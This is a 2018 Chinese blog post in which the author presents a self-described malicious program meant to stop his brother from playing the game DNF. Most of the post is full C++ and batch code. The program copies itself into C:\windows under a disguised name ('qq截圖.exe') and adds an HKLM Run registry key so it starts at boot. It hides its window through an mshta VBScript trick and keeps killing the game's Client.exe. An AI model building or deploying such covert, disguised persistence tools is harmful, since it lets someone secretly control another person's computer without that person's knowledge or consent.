雜記--幫我哥戒網癮的惡意程式
阿新 • • 發佈:2018-11-19
前記
每次回去,都能看見我哥在玩08年的DNF,20來歲的人了,沉迷遊戲無法自拔,我想讓他做點有意義的事,怎麼辦呢。直接把遊戲解除安裝了?或是把角色全刪了?不行,我估計會被他200斤的重拳錘死。這時候就需要我們程式設計師的聰明才智了。
實現原理
我先試了下開啟DNF,發現會先啟動一個Client.exe的啟動程式。靈光一閃。
1–我可以寫個程式,監聽Client.exe啟動,如果啟動了就給他關閉。
2–當然這樣只會執行一次,下次開機就無法使用了。所以我還需要修改登錄檔,把程式放入run裡面,這樣開機自動啟動程式。
3–當然還有個問題,我程式放在那裡呢,如果放在桌面或者簡單的位置,他發現了,刪除了怎麼辦?所以我們還要將程式移動到某個隱藏的位置。
所以,步驟2,3我們可以呼叫window api實現,步驟1可以通過一個bat批處理指令碼實現。
(回家時間有限,寫得比較簡單,也不能通過防毒軟體,當然我能接觸他的電腦是不用擔心的)
0x1 步驟3的移動程式
獲得執行程式的當前路徑。
DWORD WINAPI GetModuleFileName(
_In_opt_ HMODULE hModule, // 為空返回應用程式全路徑
_Out_ LPTSTR lpFilename, //輸出緩衝區
_In_ DWORD nSize //緩衝區大小
);
再呼叫 dos命令 move 進行移動。
0x2 步驟2的修改登錄檔
開啟登錄檔
LONG RegOpenKey( HKEY hKey, // 要開啟鍵的控制代碼
LPCTSTR lpSubKey, // 要開啟子鍵的名字的地址
PHKEY phkResult // 要開啟鍵的控制代碼的地址);
修改登錄檔
LONG RegSetValueEx(
HKEY hKey,//一個已開啟項的控制代碼
LPCTSTR lpValueName,//指向一個字串的指標,該字串包含了欲設定值的名稱。
DWORD Reserved,//填0
DWORD dwType,//指定將被儲存的資料型別
CONST BYTE *lpData,//指向一個緩衝區,該緩衝區包含了欲為指定值名稱儲存的資料。
DWORD cbData//指定由lpData引數所指向的資料的大小,單位是位元組。
);
0x3 監聽遊戲啟動
原理:一個批處理無限迴圈,用ping命令進行延時處理,然後獲取當前系統的程序寫入1.text檔案中。查詢1.text檔案中是否有Client.exe程序,有則殺死這個程序,否者繼續迴圈。
cpp程式碼
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>
int main()
{
#ifndef x//如果該程式第一次執行,先移動和進行登錄檔修改
#define x
char path[256];
char path2[256]="C:\\windows";//移動目的地
char path3[256];
int ret;
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //開機啟動路徑
HKEY hkResult;
GetModuleFileName(0,path,256); //獲得自身路徑
sprintf(path3,"move %s %s",path,path2);//移動命令
system(path3);//移動
ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);//開啟登錄檔
ret=RegSetValueEx(hkResult,"zdt",0,REG_EXPAND_SZ,(unsigned char *) "C:\\windows\\qq截圖.exe",40);//修改登錄檔
if(ret==0){
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n",ret);
}
#endif
//system("shutdown -g -t 30");
system("111.bat");//執行迴圈查詢遊戲
return 0;
}
bat程式碼
關閉輸出
隱藏視窗
ping 命令等待一段時間
tasklist重定向到1.text
find 查詢Client程序
分支判斷是否啟動
啟動則殺死程序
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
:loop
ping 127.0.0.1 -n 6 >nul
tasklist /nh>.\1.txt
find /i "Client.exe" .\1.txt
if ERRORLEVEL 1 (goto :loop) else (goto :go1)
:go1
taskkill /f /IM Client.exe
goto :loop